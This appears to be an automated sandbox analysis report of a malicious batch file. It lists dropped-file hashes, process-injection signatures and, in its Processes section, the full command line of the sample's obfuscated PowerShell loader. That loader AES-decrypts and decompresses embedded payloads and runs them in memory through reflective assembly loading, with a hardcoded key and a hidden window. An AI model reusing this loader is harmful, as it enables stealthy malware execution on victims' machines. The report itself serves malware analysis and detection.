| SHA512 | e5f9b8645fb2a50763fcbffe877ca03e9cadf099fe2d510b74bfa9ff18d0a6563d11160e00f495eeefebde63450d0ade8d6b6a824e68bd8a59e1971dc842709c |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | d28a889fd956d5cb3accfbaf1143eb6f |
| SHA1 | 157ba54b365341f8ff06707d996b3635da8446f7 |
| SHA256 | 21e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45 |
| SHA512 | 0b6d88deb9be85722e6a78d5886d49f2caf407a59e128d2b4ed74c1356f9928c40048a62731959f2460e9ff9d9feee311043d2a37abe3bb92c2b76a44281478c |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | 2d06ce10e4e5b9e174b5ebbdad300fad |
| SHA1 | bcc1c231e22238cef02ae25331320060ada2f131 |
| SHA256 | 87d1dd56f12a88907ba5aebca8d555443d6f77ed214497277cc8bcd31c669f2c |
| SHA512 | 38cfbeb59605854ae4fcfae8619a6b26bd916148acfb5636383672a3960b45ca41fed5c241f97465129e92eaf78c4c85dcf258f1ab501a2bf771287ce04f76a7 |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | b7189719e6df2c3dfc76197ec3f31f7a |
| SHA1 | effd91412deadc87cc10ef76cdecc1e0b54b6d41 |
| SHA256 | 1c72fa37d078b92c7e900b2e3d17c43c34d936a696a8ddf6c519f4a80308b892 |
| SHA512 | 2df1f1d45844da7ffb17cdfb411f223e9c614c00f5cf7eb5ba92bf7ba174875af2a515371208286c95c0479c934ae2c6a83dfc0b54380be89db1eddd19faf978 |
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work
| MD5 | 1e8e2076314d54dd72e7ee09ff8a52ab |
| SHA1 | 5fd0a67671430f66237f483eef39ff599b892272 |
| SHA256 | 55f203d6b40a39a6beba9dd3a2cb9034284f49578009835dd4f0f8e1db6ebe2f |
| SHA512 | 5b0c97284923c4619d9c00cba20ce1c6d65d1826abe664c390b04283f7a663256b4a6efe51f794cb5ec82ccea80307729addde841469da8d041cbcfd94feb0f6 |
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work
| MD5 | 0b990e24f1e839462c0ac35fef1d119e |
| SHA1 | 9e17905f8f68f9ce0a2024d57b537aa8b39c6708 |
| SHA256 | a1106ed0845cd438e074344e0fe296dc10ee121a0179e09398eaaea2357c614a |
| SHA512 | c65ba42fc0a2cb0b70888beb8ca334f7d5a8eaf954a5ef7adaecbcb4ce8d61b34858dfd9560954f95f59b4d8110a79ceaa39088b6a0caf8b42ceda41b46ec4a4 |
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work
| MD5 | ceb7caa4e9c4b8d760dbf7e9e5ca44c5 |
| SHA1 | a3879621f9493414d497ea6d70fbf17e283d5c08 |
| SHA256 | 98c054088df4957e8d6361fd2539c219bcf35f8a524aad8f5d1a95f218e990e9 |
| SHA512 | 1eddfbf4cb62d3c5b4755a371316304aaeabb00f01bad03fb4f925a98a2f0824f613537d86deddd648a74d694dc13ed5183e761fdc1ec92589f6fa28beb7fbff |
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work
| MD5 | 7d612892b20e70250dbd00d0cdd4f09b |
| SHA1 | 63251cfa4e5d6cbf6fb14f6d8a7407dbe763d3f5 |
| SHA256 | 727c9e7b91e144e453d5b32e18f12508ee84dabe71bc852941d9c9b4923f9e02 |
| SHA512 | f8d481f3300947d49ce5ab988a9d4e3154746afccc97081cbed1135ffb24fc107203d485dda2d5d714e74e752c614d8cfd16781ea93450fe782ffae3f77066d1 |
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work
| MD5 | 8abf2d6067c6f3191a015f84aa9b6efe |
| SHA1 | 98f2b0a5cdb13cd3d82dc17bd43741bf0b3496f7 |
| SHA256 | ee18bd3259f220c41062abcbe71a421da3e910df11b9f86308a16cdc3a66fbea |
| SHA512 | c2d686a6373efcff583c1ef50c144c59addb8b9c4857ccd8565cd8be3c94b0ac0273945167eb04ebd40dfb0351e4b66cffe4c4e478fb7733714630a11f765b63 |
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work
| MD5 | f313c5b4f95605026428425586317353 |
| SHA1 | 06be66fa06e1cffc54459c38d3d258f46669d01a |
| SHA256 | 129d0b993cd3858af5b7e87fdf74d8e59e6f2110184b5c905df8f5f6f2c39d8b |
| SHA512 | b87a829c86eff1d10e1590b18a9909f05101a535e5f4cef914a4192956eb35a8bfef614c9f95d53783d77571687f3eb3c4e8ee2f24d23ad24e0976d8266b8890 |
C:\Users\Admin\AppData\Roaming\Microsoft Edge
| MD5 | 04029e121a0cfa5991749937dd22a1d9 |
| SHA1 | f43d9bb316e30ae1a3494ac5b0624f6bea1bf054 |
| SHA256 | 9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f |
| SHA512 | 6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b |
Analysis: behavioral1
Detonation Overview
Submitted
2024-06-14 13:33
Reported
2024-06-14 13:36
Platform
win7-20240611-en
Max time kernel
119s
Max time network
124s
Command Line
Signatures
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 2988 wrote to memory of 2144 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\system32\cmd.exe |
| PID 2988 wrote to memory of 2144 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\system32\cmd.exe |
| PID 2988 wrote to memory of 2144 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\system32\cmd.exe |
| PID 2988 wrote to memory of 2140 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 2988 wrote to memory of 2140 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 2988 wrote to memory of 2140 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\test.bat"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('1BlxKYbfCVoW1fR575JpYcE/KsQ0rUHg1tVhmltPLCk='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('rRTuKDIQEGcdSXtDLHANQQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $qamEH=New-Object System.IO.MemoryStream(,$param_var); $sHZaA=New-Object System.IO.MemoryStream; $ZdFgS=New-Object System.IO.Compression.GZipStream($qamEH, [IO.Compression.CompressionMode]::Decompress); $ZdFgS.CopyTo($sHZaA); $ZdFgS.Dispose(); $qamEH.Dispose(); $sHZaA.Dispose(); $sHZaA.ToArray();}function execute_function($param_var,$param2_var){ $OnvRS=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $ZBTsG=$OnvRS.EntryPoint; $ZBTsG.Invoke($null, $param2_var);}$wrBcB = 'C:\Users\Admin\AppData\Local\Temp\test.bat';$host.UI.RawUI.WindowTitle = $wrBcB;$YUIQp=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($wrBcB).Split([Environment]::NewLine);foreach ($AMvFX in $YUIQp) { if ($AMvFX.StartsWith('fudwHZInzyQEBLlpmBjX')) { $ePZLV=$AMvFX.Substring(20); break; }}$payloads_var=[string[]]$ePZLV.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
Network
Files
memory/2140-4-0x000007FEF5BEE000-0x000007FEF5BEF000-memory.dmp
memory/2140-5-0x000000001B390000-0x000000001B672000-memory.dmp
memory/2140-6-0x0000000001E60000-0x0000000001E68000-memory.dmp
memory/2140-7-0x000007FEF5930000-0x000007FEF62CD000-memory.dmp
memory/2140-8-0x000007FEF5930000-0x000007FEF62CD000-memory.dmp
memory/2140-9-0x000007FEF5930000-0x000007FEF62CD000-memory.dmp
memory/2140-10-0x000007FEF5930000-0x000007FEF62CD000-memory.dmp
memory/2140-11-0x000007FEF5930000-0x000007FEF62CD000-memory.dmp
memory/2140-12-0x000007FEF5BEE000-0x000007FEF5BEF000-memory.dmp